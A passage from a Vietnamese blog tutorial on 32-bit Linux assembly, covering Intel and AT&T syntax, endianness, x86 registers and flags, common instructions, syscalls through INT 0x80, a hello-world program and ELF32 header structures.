<li><p>Section <code>.rela.plt</code> và bảng <code>.dynsym</code> cho biết chương trình có dùng hàm <code>printf</code> của thư viện <strong>GLIBC_2.2.5</strong></p>
<img src="https://cdn.hashnode.com/uploads/covers/6698c3b850049834bdc8b385/9acb20e8-baf9-4105-b030-f4e16c6dd912.png" alt="" style="display:block;margin:0 auto" />

<img src="https://s3-us-west-2.amazonaws.com/secure.notion-static.com/7e9c5f9a-fe05-48f2-b6cb-8f0e982571c6/Untitled.png" alt="" style="display:block;margin:0 auto" />
</li>
<li><p>Bảng <code>.symtab</code> chứa rất nhiều <strong>symbol</strong></p>
<img src="https://cdn.hashnode.com/uploads/covers/6698c3b850049834bdc8b385/f5ddf606-f0ce-4d48-8f16-80ecc024a4b7.png" alt="" style="display:block;margin:0 auto" />

<img src="https://s3-us-west-2.amazonaws.com/secure.notion-static.com/2914a6d9-4555-4055-9c55-692bd5c83540/Untitled.png" alt="" style="display:block;margin:0 auto" />

<p>Nó cũng cho biết symbol <code>printf</code> được sử dụng với type là <code>FUNC</code></p>
<img src="https://cdn.hashnode.com/uploads/covers/6698c3b850049834bdc8b385/cffd38a8-958d-4bef-be58-26d87d61577a.png" alt="" style="display:block;margin:0 auto" />

<img src="https://s3-us-west-2.amazonaws.com/secure.notion-static.com/731ccbb3-b389-4d42-a824-b3611cc93b9c/Untitled.png" alt="" style="display:block;margin:0 auto" /></li>
</ul>
]]></content:encoded></item><item><title><![CDATA[Binary 102: Linux 32-bit Assembly]]></title><description><![CDATA[1. Cú pháp Intel và AT&T
Khi làm việc với Assembly trên Linux thì chúng ta bắt gặp nhiều nhất là hai dạng cú pháp: Intel và AT&T. Có nhiều công cụ khi thực hiện disassembly một ELF file thì mặc định n]]></description><link>https://blog.lehonghai.com/binary-102-linux-32-bit-assembly</link><guid isPermaLink="true">https://blog.lehonghai.com/binary-102-linux-32-bit-assembly</guid><dc:creator><![CDATA[Hai Le Hong]]></dc:creator><pubDate>Fri, 26 Feb 2021 10:05:00 GMT</pubDate><content:encoded><![CDATA[<h2>1. Cú pháp Intel và AT&amp;T</h2>
<p>Khi làm việc với Assembly trên Linux thì chúng ta bắt gặp nhiều nhất là hai dạng cú pháp: Intel và AT&amp;T. Có nhiều công cụ khi thực hiện disassembly một ELF file thì mặc định nó sẽ cho đầu ra theo cú pháp AT&amp;T. Tuy nhiên chúng ta sẽ học và làm việc chủ yếu với cú pháp của Intel.</p>
<p>Để minh họa, tôi sử dụng <strong>objdump</strong> để disassembly một <a href="https://github.com/PacktPublishing/Binary-Analysis-Cookbook/blob/master/Chapter-02/32bit/ch02-helloworld">mẫu</a> theo cả hai cú pháp như sau:</p>
<details>
<summary>Cú pháp AT&amp;T</summary>
<pre class="not-prose"><code class="language-powershell">$ objdump -d ch02-helloworld
</code></pre><p><code>ch02-helloworld: file format elf32-i386</code></p><p><code>Disassembly of section .text:<br />08048060 &lt;_start&gt;:<br />8048060: 31 c0 xor %eax,%eax<br />8048062: 31 db xor %ebx,%ebx<br />8048064: 31 c9 xor %ecx,%ecx<br />8048066: 31 d2 xor %edx,%edx<br />8048068: b0 04 mov \(0x4,%al<br />804806a: fe c3 inc %bl<br />804806c: 68 64 21 0a 00 push \)0xa2164<br />8048071: 68 57 6f 72 6c push \(0x6c726f57<br />8048076: 68 6c 6f 2c 20 push \)0x202c6f6c<br />804807b: 68 48 65 6c 00 push \(0x6c6548<br />8048080: 89 e1 mov %esp,%ecx<br />8048082: b2 0f mov \)0xf,%dl<br />8048084: cd 80 int \(0x80<br />8048086: 31 c0 xor %eax,%eax<br />8048088: 31 db xor %ebx,%ebx<br />804808a: b0 01 mov \)0x1,%al<br />804808c: cd 80 int $0x80</code></p><p></p>
</details><details>
<summary>Cú pháp Intel</summary>
<pre class="not-prose"><code class="language-powershell">$ objdump -d -M intel ch02-helloworld
</code></pre><p><code>ch02-helloworld: file format elf32-i386</code></p><p><code>Disassembly of section .text:<br />08048060 &lt;_start&gt;:<br />8048060: 31 c0 xor eax,eax<br />8048062: 31 db xor ebx,ebx<br />8048064: 31 c9 xor ecx,ecx<br />8048066: 31 d2 xor edx,edx<br />8048068: b0 04 mov al,0x4<br />804806a: fe c3 inc bl<br />804806c: 68 64 21 0a 00 push 0xa2164<br />8048071: 68 57 6f 72 6c push 0x6c726f57<br />8048076: 68 6c 6f 2c 20 push 0x202c6f6c<br />804807b: 68 48 65 6c 00 push 0x6c6548<br />8048080: 89 e1 mov ecx,esp<br />8048082: b2 0f mov dl,0xf<br />8048084: cd 80 int 0x80<br />8048086: 31 c0 xor eax,eax<br />8048088: 31 db xor ebx,ebx<br />804808a: b0 01 mov al,0x1<br />804808c: cd 80 int 0x80</code></p><p></p>
</details>

<p>Đầu ra của <strong>objdump</strong> cơ bản có 4 cột, theo chiều từ trái sang phải ta có:</p>
<ul>
<li><p>Cột 1: Địa chỉ các lệnh trong Assembly</p>
</li>
<li><p>Cột 2: Opcode của lệnh và toán hạng</p>
</li>
<li><p>Cột 3: Mã lệnh Assembly</p>
</li>
<li><p>Cột 4: Các toán hạng: nguồn, đích</p>
</li>
</ul>
<p>Như vậy sự khác biệt rõ rệt nhất giữa cú pháp Intel và AT&amp;T nằm ở cột thứ 4. Ta đúc rút ra được công thức như sau:</p>
<details>
<summary>Cú pháp AT&amp;T</summary>
<pre class="not-prose"><code class="language-powershell">&lt;instruction&gt; &lt;source&gt;,&lt;dest&gt;</code></pre>
</details><details>
<summary>Cú pháp Intel</summary>
<pre class="not-prose"><code class="language-powershell">&lt;instruction&gt; &lt;dest&gt;,&lt;source&gt;</code></pre>
</details>

<p>Bảng dưới đây tổng hợp những sự khác biệt chính giữa cú pháp Intel và AT&amp;T:</p>
<table>
<thead>
<tr>
<th>Name</th>
<th>Intel</th>
<th>AT&amp;T</th>
</tr>
</thead>
<tbody><tr>
<td>Comments</td>
<td><code>;</code></td>
<td><code>//</code></td>
</tr>
<tr>
<td>Instructions</td>
<td>Untagged <code>add</code></td>
<td>Tagged with operand sizes: <code>addq</code></td>
</tr>
<tr>
<td>Registers</td>
<td><code>eax</code>, <code>ebx</code>, etc.</td>
<td><code>%eax%</code>, <code>%ebx%</code>, etc.</td>
</tr>
<tr>
<td>Immediates</td>
<td><code>0x100</code></td>
<td><code>$0x100</code></td>
</tr>
<tr>
<td>Indirect</td>
<td><code>[eax]</code></td>
<td><code>(%eax)</code></td>
</tr>
<tr>
<td>General indirect</td>
<td><code>[base + reg + reg * scale + displacement]</code></td>
<td><code>displacement(reg, reg, scale)</code></td>
</tr>
</tbody></table>
<h2>2. Các thanh ghi trong x86 Assembly</h2>
<h3>2.1. CPU và Endianness</h3>
<p>Trước khi tìm hiểu về các thanh ghi trong x86 Assembly, hãy tìm hiểu một chút về Bộ vi xử lý mà máy tính chúng ta đang sử dụng. Mở Terminal và chạy một số lệnh bên dưới như sau:</p>
<pre><code class="language-powershell">$ lscpu
Architecture:          i686
CPU op-mode(s):        32-bit, 64-bit
Byte Order:            Little Endian
...
Vendor ID:             GenuineIntel
...
Flags:                 fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ss nx pdpe1gb rdtscp lm constant_tsc arch_perfmon xtopology tsc_reliable nonstop_tsc cpuid pni pclmulqdq ssse3 fma cx16 sse4_1 sse4_2 x2apic movbe popcnt tsc_deadline_timer aes xsave avx f16c rdrand hypervisor lahf_lm abm 3dnowprefetch cpuid_fault pti ssbd ibrs ibpb stibp fsgsbase tsc_adjust bmi1 avx2 smep bmi2 invpcid rdseed adx smap clflushopt xsaveopt xsavec xgetbv1 xsaves arat md_clear flush_l1d arch_capabilities
</code></pre>
<p>Kết quả của lệnh này cung cấp một số thông tin quan trọng như:</p>
<ul>
<li><p>Architecture: Kiến trúc Bộ VXL</p>
</li>
<li><p>CPU op-mode(s): Chế độ hoạt động của VXL</p>
</li>
<li><p>Byte Order: Đây là thông tin quan trọng, cho biết loại Endianness, nó sẽ quy định kiểu cách mà nó lưu dữ liệu trên bộ nhớ (Register, Stack)</p>
</li>
<li><p>Flags: Cho biết những loại thanh ghi mở rộng mà CPU hỗ trợ</p>
</li>
</ul>
<p>Trên các bộ Vi xử lý của Intel sử dụng quy ước <code>Little Endian</code>. Để dễ hình dung và so sánh giữa <code>Big-Endian</code> và <code>Little-Endian</code> hãy xem hình bên dưới đây: Giả sử ta cần biểu diễn một số nguyên 32-bits có giá trị là <code>0x0A0B0C0D</code></p>
<img src="https://cdn.hashnode.com/uploads/covers/6698c3b850049834bdc8b385/ce3762bd-fb2b-401e-8511-c2a60d9da46a.png" alt="" style="display:block;margin:0 auto" />

<p>Tham khảo: <a href="https://en.wikipedia.org/wiki/Endianness">https://en.wikipedia.org/wiki/Endianness</a></p>
<p>Để giải thích ngắn gọn và dễ hiểu về <code>Big-Endian</code> và <code>Little-Endian</code>, ta thống nhất một số quy tắc như sau. Vẫn lấy số nguyên 32-bits <code>0x0A0B0C0D</code> làm ví dụ:</p>
<ol>
<li><p>Byte có trọng số lớn nhất sẽ nằm ngoài cùng bên trái -&gt; <code>0x0A</code></p>
</li>
<li><p>Byte có trọng số nhỏ nhất sẽ nằm ngoài cùng bên phải -&gt; <code>0x0D</code></p>
</li>
<li><p>Theo chiều từ trái sang phải thì các byte lần lượt có trọng số giảm dần: <code>0x0A</code>, <code>0x0B</code>, <code>0x0C</code>, <code>0x0D</code></p>
</li>
<li><p>Địa chỉ trên bộ nhớ sẽ được đánh tăng dần theo chiều từ trái sang phải và từ trên xuống dưới: <code>a</code>, <code>a+1</code>, <code>a+2</code>, <code>a+3</code></p>
</li>
</ol>
<details>
<summary>Ta có "công thức" như sau khi phân biệt giữa <code>Big-Endian</code> và <code>Little-Endian</code>:</summary>
<ul><li><p><code>Big-Endian</code> quy định BYTE có trọng số lớn nhất được lưu ở ô nhớ có địa chỉ nhỏ nhất còn BYTE có trọng số nhỏ nhất được lưu ở ô nhớ có địa chỉ lớn nhất.</p></li><li><p><code>Little-Endian</code> quy định BYTE có trọng số lớn nhất được lưu ở ô nhớ có địa nhỉ lớn nhất còn BYTE có trọng số nhỏ nhất được lưu ở ô nhớ có địa chỉ nhỏ nhất.</p></li></ul>
</details>

<p>Để cho dễ hiểu thì ta chỉ cần nhớ rằng: Với <code>Big-Endian</code> dữ liệu được biểu diễn theo cách thông thường từ trái qua phải, không thay đổi. Còn với <code>Little-Endian</code> thì dữ liệu sẽ bị đảo ngược lại theo các byte. Ví dụ để biểu diễn <code>0x1A2B3C4D</code> thì: Với <code>Big-Endian</code> sẽ giữ nguyên <code>0x1A2B3C4D</code> còn với <code>Little-Endian</code> sẽ là: <code>0x4D3C2B1A</code></p>
<p>Trong thực tế hay gặp dữ liệu lưu trên ổ cứng (Hard Disk) hay dữ liệu hiển thị trong các công cụ phân tích gói tin (Wireshark/TCPDump) sẽ ở dạng <code>Big-Endian</code>. Còn dữ liệu khi được nạp lên bộ nhớ (RAM) thì sẽ ở dạng <code>Little-Endian</code>.</p>
<h3>2.2. Các thanh ghi thường gặp</h3>
<p>Các bộ vi xử lý hiện đại ngày nay đã phát triển thêm và gia tăng về số lượng các thanh ghi, phục vụ các tác vụ như: tính toán số học dấu phẩy động, hay thanh ghi thực hiện một chức năng riêng nào đó,.v.v.. Tuy nhiên, khi làm việc với Assembly 32-bits thì chỉ cần chú ý đến một số thanh ghi phổ biến sau đây:</p>
<details>
<summary>Các thanh ghi chung</summary>
<p>Hay còn được biết đến nhóm các thanh ghi đa năng, được CPU sử dụng như bộ nhớ siêu tốc trong việc tính toán, dùng làm biến tạm, tham số,.v.v..</p><ul><li><p><strong>EAX</strong>: Đa mục đích, thường lưu giá trị trả về của một hàm. Chia nhỏ được thành: AX (16-bits), AH (8-bits), AL (8-bits)</p></li><li><p><strong>EBX</strong>: Đa mục đích, thường được sử dụng như một con trỏ tới dữ liệu (nằm trong thanh ghi phân đoạn - DS, khi ở chế độ phân đoạn). Chia nhỏ được thành: BX, BH, BL.</p></li><li><p><strong>ECX</strong>: Dùng trong các vòng lặp, được dùng như biến đếm. Chia nhỏ được thành: CX, CH, CL.</p></li><li><p><strong>EDX</strong>: Dùng để lưu dữ liệu, cho các hoạt động I/O và phép toán số học. Chia nhỏ được thành: DX, DH, DL.</p></li><li><p><strong>ESI</strong>: Dùng trong các thao tác với chuỗi, thường trỏ đến chuỗi nguồn. Chia nhỏ được thành: SI và SIL</p></li><li><p><strong>EDI</strong>: Tương tự như ESI nhưng trỏ đến chuỗi đích. Chia nhỏ được thành: DI và DIL</p></li><li><p><strong>ESP</strong>: Thanh ghi con trỏ ngăn xếp, luôn trỏ tới đỉnh hiện thời của ngăn xếp. Dùng khi có các thao tác trên Stack. Chia nhỏ được thành: SP và SPL</p></li><li><p><strong>EBP</strong>: Thanh ghi con trỏ cơ sở (hay Frame Pointer). Khi một Stack Frame được cấp, có thể dựa vào ESP để xác định vị trí của: Return address, Parameter, Local variable,.v.v.. Chia nhỏ được thành: BP và BPL</p></li></ul>
</details><details>
<summary>Các thanh ghi đoạn</summary>
<p>Bao gồm: CS, SS, DS, ES, FS và GS. Việc dùng các thanh ghi này phụ thuộc vào mô hình bộ nhớ của hệ điều hành, chỉ quan tâm nó dưới góc độ người lập trình Assembly. Ngày nay các Hệ điều hành phổ biến (Windows, Linux, FreeBSD,.v.v..) đều đã chuyển sang sử dụng chế độ phân trang (Flat mode) thay cho phân đoạn. Tuy nhiên, các thanh ghi này vẫn được sử dụng trong một số trường hợp nhất định.</p>
</details><details>
<summary>Thanh ghi cờ - EFLAGS</summary>
<p>Thanh ghi này rộng 32-bits, với mỗi vị trí bit được đánh tương ứng với một cờ hiệu. Các cờ hiệu này sẽ có 2 trạng thái là: 1 (cờ được bật) và 0 (cờ bị xóa). Các cờ này bị thay đổi khi gặp các lệnh/thao tác tính toán. Chúng ta không cần thiết phải nhớ hết các cờ, mà chỉ cần lưu ý một số cờ sau:</p><ul><li><p><strong>Zero Flag (ZF - Cờ không - Bit thứ 6)</strong>: Được bật khi kết quả phép toán bằng 0 hoặc kết quả so sánh bằng nhau.</p></li><li><p><strong>Carry Flag (CF - Cờ nhớ - Bit thứ 0)</strong>: Được bật khi có mượn hoặc nhớ bit MSB</p></li><li><p><strong>Parity Flag (PF - Cờ chẵn lẻ - Bit thứ 2)</strong>: Được bật khi tổng số bit 1 trong kết quả là chẵn, nếu là lẻ thì cờ bị xóa</p></li><li><p><strong>Sign Flag (SF - Cờ dấu - Bit thứ 7)</strong>: Cờ này được bật khi bit MSB của kết quả bằng 1 tức đây là một kết quả âm</p></li><li><p><strong>Overflow Flag (OF - Cờ tràn - Bit thứ 11)</strong>: Được bật khi thực hiện phép tính với hai số cùng dấu mà kết quả là số có dấu</p></li><li><p><strong>Direction Flag (DF - Cờ hướng - Bit thứ 10)</strong>: Xác định hướng của thao tác chuỗi. Khi được bật hướng từ địa chỉ cao → thấp. Khi cờ đc xóa thì hướng từ địa chỉ thấp → cao.</p></li><li><p><strong>Trap Flag (TF - Cờ bẫy - Bit thứ 8)</strong>: Được bật để sử dụng chế độ gỡ lỗi, CPU sẽ chỉ thực hiện một lệnh tại một thời điểm</p></li></ul>
</details><details>
<summary>Thanh ghi con trỏ lệnh (IP/EIP)</summary>
<p>Luôn trỏ đến địa chỉ của lệnh kế tiếp sẽ được thực thi vì vậy nó quan trọng trong khai thác. Khi kiểm soát được thanh ghi này, có thể trỏ đến shellcode.</p>
</details>

<p>Bảng tổng hợp các thanh ghi (các thanh ghi 64-bits sẽ được trình bày ở bài sau):</p>
<img src="https://cdn.hashnode.com/uploads/covers/6698c3b850049834bdc8b385/7b06ed11-befc-47fd-b245-3abf2c5e8d93.png" alt="" style="display:block;margin:0 auto" />

<p>Tham khảo: <a href="https://en.wikibooks.org/wiki/X86_Assembly/X86_Architecture">https://en.wikibooks.org/wiki/X86_Assembly/X86_Architecture</a></p>
<p>Bảng tổng hợp các cờ và vị trí:</p>
<img src="https://cdn.hashnode.com/uploads/covers/6698c3b850049834bdc8b385/80268782-a5d8-4f6f-bce8-2afb40e70b46.png" alt="" style="display:block;margin:0 auto" />

<p>Tham khảo: <a href="https://en.wikibooks.org/wiki/X86_Assembly/X86_Architecture">https://en.wikibooks.org/wiki/X86_Assembly/X86_Architecture</a></p>
<h2>3. Các lệnh thường gặp trong x86 Assembly</h2>
<details>
<summary>Các lệnh liên quan đến Stack</summary>
<ul><li><p><code>PUSH</code>: Dùng để đẩy (thêm/cất) dữ liệu vào đỉnh ngăn xếp. Khi dữ liệu được thêm vào ngăn xếp thì đồng thời thanh ghi <code>ESP</code> cũng bị giảm đi.</p></li><li><p><code>POP</code>: Dùng để lấy dữ liệu ra từ đỉnh ngăn xếp. Khi dữ liệu được lấy ra khỏi ngăn xếp thì đồng thời thanh ghi <code>ESP</code> cũng sẽ được tăng lên.</p></li></ul>
</details><details>
<summary>Các lệnh Logics - Các phép toán thao tác bits</summary>
<ul><li><p><code>AND</code>: Kết quả của <code>AND</code> bằng 1 nếu như hai bit là 1, ngược lại bằng 0</p></li><li><p><code>OR</code>: Kết quả của phép <code>OR</code> bằng 0 nếu như hai bit là 0, ngược lại bằng 1</p></li><li><p><code>NOT</code>: Phép phủ định, cho kết quả ngược lại</p></li><li><p><code>XOR</code>: Hai bit giống nhau thì bằng 0, khác nhau thì bằng 1</p></li></ul>
</details><details>
<summary>Các lệnh cộng - trừ - nhân - chia</summary>
<ul><li><p>Lệnh <code>ADD</code>: Toán hạng đích = Toán hạng đích + Toán hạng nguồn (Intel Syntax)</p></li><li><p>Lệnh <code>SUB</code>: Toán hạng đích = Toán hạng đích - Toán hạng nguồn (Intel Syntax)</p></li><li><p>Lệnh <code>MUL</code>: Toán hạng đích = Toán hạng đích * Toán hạng nguồn. Toán hạng đích tùy thuộc vào kích thước của toán hạng nguồn, thường toán hạng đich sẽ tương ứng với: <code>EAX</code>, <code>AX</code>, <code>AL</code></p></li><li><p>Lệnh <code>DIV</code>: Toán hạng đích = Toán hạng đích / Toán hạng nguồn. Tương tự như <code>MUL</code> nhưng là phép chia.</p></li></ul>
</details><details>
<summary>Các lệnh tăng - giảm giá trị</summary>
<ul><li><p>Lệnh <code>INC</code> và <code>DEC</code>: Tương ứng với: Toán hạng đích = Toán hạng đích + 1 và Toán hạng đích = Toán hạng đích - 1 (Intel Syntax)</p></li></ul>
</details><details>
<summary>Một số lệnh khác</summary>
<ul><li><p>Lệnh <code>MOV</code>: Chuyển dữ liệu giữa: thanh ghi với thanh ghi, thanh ghi với ô nhớ,.v.v..</p></li><li><p>Lệnh <code>LEA</code>: Tương tự MOV nhưng toán hạng đích (Intel Syntax) thường là các thanh ghi còn toán hạng nguồn là địa chỉ ô nhớ.</p></li><li><p>Lệnh <code>XCHG</code>: Hoán vị nội dung 2 toán hạng: Swap(Toán hạng đích, Toán hạng nguồn)</p></li></ul>
</details>

<h2>4. x86 Assembly System Calls trên Linux</h2>
<p>Thông thường các chương trình độc hại hay shellcode thường thực hiện các cuộc gọi hệ thống (system calls) một cách trực tiếp, mà không sử dụng các hàm có trong thư viện. Nếu nắm chắc được phần này thì ở các chương sau khi phân tích các chương trình độc hại như: Bind Shell, Reverse Shell, Polymorphism Shell sẽ không gặp khó khăn nhiều.</p>
<h3>4.1. System call number, Ngắt và Man Page</h3>
<p>Trong x86 Assembly, shellcode thường thực hiện một System call thông qua việc gọi ngắt <code>INT 0x80</code>. Các ngắt này sẽ dựa vào các <code>System Call Number</code> được định nghĩa trong Header file của thư viện hệ thống để tìm đến hàm cần gọi. Có nhiều header file trong hệ thống nhưng trong phần này và các phần tiếp theo khi phân tích Shellcode 32-bits sẽ chủ yếu tra cứu các API trong tệp: <code>/usr/include/i386-linux-gnu/asm/unistd_32.h</code> hoặc <code>/‌arch/‌x86/‌include/‌generated/‌uapi/‌asm/‌unistd_32.h</code>. Ví dụ dưới đây cho biết hàm <code>exit</code> có System call number là <code>1</code>:</p>
<pre><code class="language-powershell">$ cat /usr/include/i386-linux-gnu/asm/unistd_32.h
#ifndef _ASM_X86_UNISTD_32_H
#define _ASM_X86_UNISTD_32_H 1

#define __NR_restart_syscall 0
#define __NR_exit 1
#define __NR_fork 2
...
</code></pre>
<p>Khi đã biết System call number của một hàm thì cần phải biết được hàm đó sử dụng như nào, truyền các tham số ra làm sao. Sử dụng <code>Man Page</code> trên Linux để tra cứu. Ví dụ cách dùng <code>exit</code>:</p>
<pre><code class="language-powershell">$ man 2 exit
</code></pre>
<p>Kết quả sẽ được như sau cho biết hàm này nhận vào một số nguyên, báo hiệu mã trả về khi kết thúc một chương trình:</p>
<pre><code class="language-powershell">EXIT(3)                                             Linux Programmer's Manual                                             EXIT(3)
NAME
       exit - cause normal process termination
SYNOPSIS
       #include &lt;stdlib.h&gt;
       void exit(int status);
...
</code></pre>
<p>Các Parameter truyền vào khi gọi hàm tuân theo quy tắc sau đây:</p>
<img src="https://cdn.hashnode.com/uploads/covers/6698c3b850049834bdc8b385/3c4e20e3-ec42-4827-82cc-c0ca97d71c0b.png" alt="" style="display:block;margin:0 auto" />

<p>Tham khảo: <a href="https://en.wikibooks.org/wiki/X86_Assembly/Interfacing_with_Linux#Via_interrupt">https://en.wikibooks.org/wiki/X86_Assembly/Interfacing_with_Linux#Via_interrupt</a></p>
<details>
<summary><strong>Ta có "công thức" cần nhớ:</strong></summary>
<ul><li><p>x86 Assembly thực hiện System Call thông qua lệnh: <code>INT 0x80</code> gọi là <code>Ngắt 0x80</code></p></li><li><p>Thanh ghi <code>EAX/AX</code> sẽ lưu <code>System Call Number</code> và <code>Result</code> của System Call.</p></li><li><p>Các tham số theo thứ tự sau: <code>EBX</code>, <code>ECX</code>, <code>EDX</code>, <code>ESI</code>, <code>EDI</code>, <code>EBP</code></p></li><li><p>Tra cứu các <code>System Call Number</code> tại: <code>unistd_32.h</code></p></li><li><p>Tra cứu các API bằng <code>Man Page</code> của Linux</p></li></ul>
</details>

<h3>4.2. Phân tích một chương trình x86 Assembly đơn giản</h3>
<p>Bây giờ hãy thực hành phân tích một chương trình x86 Assembly đơn giản, trước tiên hãy chép đoạn mã dưới đây vào một text editor bất kỳ:</p>
<pre><code class="language-powershell">  1 ; hello world ASM - ch02-helloworld.asm
  2
  3 global _start
  4 section .text
  5
  6 _start:
  7         ; write(int fd, const void *buf, size_t count)
  8         xor    eax,eax
  9         xor    ebx,ebx
 10         xor    ecx,ecx
 11         xor    edx,edx
 12         mov    al,0x4
 13         inc    bl
 14         push   0x000a2164
 15         push   0x6c726f57
 16         push   0x202c6f6c
 17         push   0x6c6548
 18         mov    ecx,esp
 19         mov    dl,0xf
 20         int    0x80
 21
 22         ; exit(int status)
 23         xor    eax,eax
 24         xor    ebx,ebx
 25         mov    al,0x1
 26         int    0x80
</code></pre>
<p>Lưu lại với tên tùy ý với đuôi <code>.asm</code> sau đó thực hiện biên dịch và liên kết chương trình bằng command sau:</p>
<pre><code class="language-powershell">$ nasm -f elf32 -o ch02-helloworld.o ch02-helloworld.asm
$ ld -o ch02-helloworld ch02-helloworld.o
$ chmod +x ch02-helloworld
$ ./ch02-helloworld
Hello, World!
</code></pre>
<details>
<summary>Giải thích chi tiết chương trình</summary>
<ul><li><p>Dòng 8, 9, 10, 11: Khởi tạo giá trị 0 cho các thanh ghi EAX, EBX, ECX, EDX</p></li><li><p>Dòng 12: Gán <code>AL = 0x4</code>. Đây chính là <code>System Call Number</code> của hàm <code>write</code> được định nghĩa trong file header <code>unistd_32.h</code> (<code>#define __NR_write 4</code>). Tra cứu hàm này trong Man Page ta được: <code>write(int fd, const void *buf, size_t count);</code></p></li><li><p>Dòng 13: Gán <code>BL = 0x1</code>. Nghĩa là <code>fd = STDOUT</code> (Ngoài ra: <code>0=STDIN</code>; <code>2=STDERR</code>)</p></li><li><p>Dòng 14, 15, 16, 17: Đẩy dữ liệu dạng Hexa lên Stack. Dựa theo <code>Little-Endian</code> ta sẽ decode dữ liệu này như sau:</p></li><li><p></p></li></ul><pre class="not-prose"><code class="language-python">$ python
&gt;&gt;&gt; a = '000a2164'.decode('hex')
&gt;&gt;&gt; b = '6c726f57'.decode('hex')
&gt;&gt;&gt; c = '202c6f6c'.decode('hex')
&gt;&gt;&gt; d = '6c6548'.decode('hex')
&gt;&gt;&gt; final = a + b + c + d
&gt;&gt;&gt; final[::-1] # Little-Endian, Reverse bytes
'Hello, World!\n\x00'</code></pre><ul><li><p>Vì x86 Assembly chỉ hỗ trợ độ rộng 32-bits nên sẽ phải <code>PUSH</code> 4 lần, mỗi lần tối đa 4 bytes. Ở cuối có ký <code>\n</code> để xuống dòng và ký tự <code>\0</code> báo hiệu kết thúc chuỗi.</p></li><li><p>Dòng 18: <code>ECX</code> trỏ đến chuỗi đã <code>PUSH</code> lên Stack. Nghĩa là <code>*buf = 'Hello, World!\n\x00'</code></p></li><li><p>Dòng 19: <code>EDX = 0xF</code>. Nghĩa là <code>count = 0xF</code></p></li><li><p>Dòng 20: Gọi ngắt bằng lệnh: <code>INT 0x80</code></p></li><li><p>Dòng 23, 24: Tương tự 8, 9, 10, 11: Khởi tạo <code>EAX</code>, <code>EBX</code> về giá trị bằng <code>0</code></p></li><li><p>Dòng 25: <code>AL = 0x1</code> nghĩa là <code>System Call Number = 1</code> tương tự trên, đây là hàm <code>exit</code> (<code>#define __NR_exit 1</code>) và được mô tả như sau trong Man Page: <code>void exit(int status);</code></p></li></ul>
</details><details>
<summary>Tóm lại, chương trình có hai khối chính</summary>
<ul><li><p>Khối đầu thực hiện hàm <code>write</code> và khối sau thực hiện hàm <code>exit</code>:</p></li><li><p></p></li></ul><img class="rounded-lg max-w-full h-auto" src="https://cdn.hashnode.com/uploads/covers/6698c3b850049834bdc8b385/dda4ce1d-a05d-4514-83ac-6ab52034d768.png" /><ul><li><p>Tham khảo: <a target="_self" rel="noopener noreferrer nofollow" class="text-primary underline underline-offset-2 hover:text-primary/80 cursor-pointer" href="https://chromium.googlesource.com/chromiumos/docs/+/master/constants/syscalls.md" style="pointer-events:none">https://chromium.googlesource.com/chromiumos/docs/+/master/constants/syscalls.md</a></p></li><li><p>Khi đó ta có thể viết lại đơn giản chương trình thành như sau:</p></li><li><p></p></li></ul><pre class="not-prose"><code class="language-c">write(fd=1, *buf='Hello, World!\n\x00', count=15);
exit(status=0);</code></pre>
</details>

<h2>5. Cấu trúc tệp ELF32 trên Linux</h2>
<p><strong>ELF - Executable and Linking Format</strong>: Là định dạng tệp thực thi phổ biến trên Linux, nó có thể là các chương trình phần mềm, các thư viện, các drivers hay Linux Kernel Module,.v.v.. Việc hiểu cấu trúc của tệp ELF32 giúp người phân tích có cái nhìn tổng quan, hiểu được đặc tính kỹ thuật của tệp. Xác định được loại tệp cũng như cấu trúc tệp tin là giai đoạn đầu trong bất kỳ quá trình phân tích Binary nào.</p>
<h3>5.1. Cấu trúc cơ bản tệp ELF</h3>
<p>Cấu trúc tệp ELF được định nghĩa trong header file: <code>/usr/include/elf.h</code>. Về cơ bản nó có ba phần chính: ELF Header, Program Header Table và Section Header Table.</p>
<img src="https://cdn.hashnode.com/uploads/covers/6698c3b850049834bdc8b385/b57fc24f-aa15-4219-9647-be1a7f58cc5f.png" alt="" style="display:block;margin:0 auto" />

<p>Tham khảo: <a href="https://en.wikipedia.org/wiki/Executable_and_Linkable_Format">https://en.wikipedia.org/wiki/Executable_and_Linkable_Format</a></p>
<p><strong>Trong đó:</strong></p>
<details>
<summary>ELF Header</summary>
<ul><li><p>Nằm ở đầu tệp ELF, chứa thông tin cơ bản về tệp: Magic, Type, Machine, Entry Point, Start of Program Headers/Section Headers, Number of Program Headers/Section Headers, Size of ELF Header/Program Headers/Section Headers,.v.v..</p></li><li><p></p></li></ul><pre class="not-prose"><code class="language-c">/* The ELF file header.  This appears at the start of every ELF file.  */
#define EI_NIDENT (16)
typedef struct
{
  unsigned char e_ident[EI_NIDENT];     /* Magic number and other info */
  Elf32_Half    e_type;                 /* Object file type */
  Elf32_Half    e_machine;              /* Architecture */
  Elf32_Word    e_version;              /* Object file version */
  Elf32_Addr    e_entry;                /* Entry point virtual address */
  Elf32_Off     e_phoff;                /* Program header table file offset */
  Elf32_Off     e_shoff;                /* Section header table file offset */
  Elf32_Word    e_flags;                /* Processor-specific flags */
  Elf32_Half    e_ehsize;               /* ELF header size in bytes */
  Elf32_Half    e_phentsize;            /* Program header table entry size */
  Elf32_Half    e_phnum;                /* Program header table entry count */
  Elf32_Half    e_shentsize;            /* Section header table entry size */
  Elf32_Half    e_shnum;                /* Section header table entry count */
  Elf32_Half    e_shstrndx;             /* Section header string table index */
} Elf32_Ehdr;
</code></pre>
</details>
<details>
<summary>Program Header Table</summary>
<ul><li><p>Bảng chứa các Program Header (hay còn được gọi là các Segment Header). Mỗi Segment chứa 0 hoặc nhiều Section</p></li><li><p></p></li></ul><pre class="not-prose"><code class="language-c">/* Program segment header.  */
typedef struct
{
  Elf32_Word    p_type;                 /* Segment type */
  Elf32_Off     p_offset;               /* Segment file offset */
  Elf32_Addr    p_vaddr;                /* Segment virtual address */
  Elf32_Addr    p_paddr;                /* Segment physical address */
  Elf32_Word    p_filesz;               /* Segment size in file */
  Elf32_Word    p_memsz;                /* Segment size in memory */
  Elf32_Word    p_flags;                /* Segment flags */
  Elf32_Word    p_align;                /* Segment alignment */
} Elf32_Phdr;
</code></pre>
</details>
<details>
<summary>Section Header Table</summary>
<ul><li><p>Bảng chứa các Section Header, mỗi Section sẽ được quy định có quyền: đọc, ghi hay thực thi và nó lưu: dữ liệu hay code thực thi,.v.v..</p></li></ul><pre class="not-prose"><code class="language-c">/* Section header.  */
typedef struct
{
  Elf32_Word    sh_name;                /* Section name (string tbl index) */
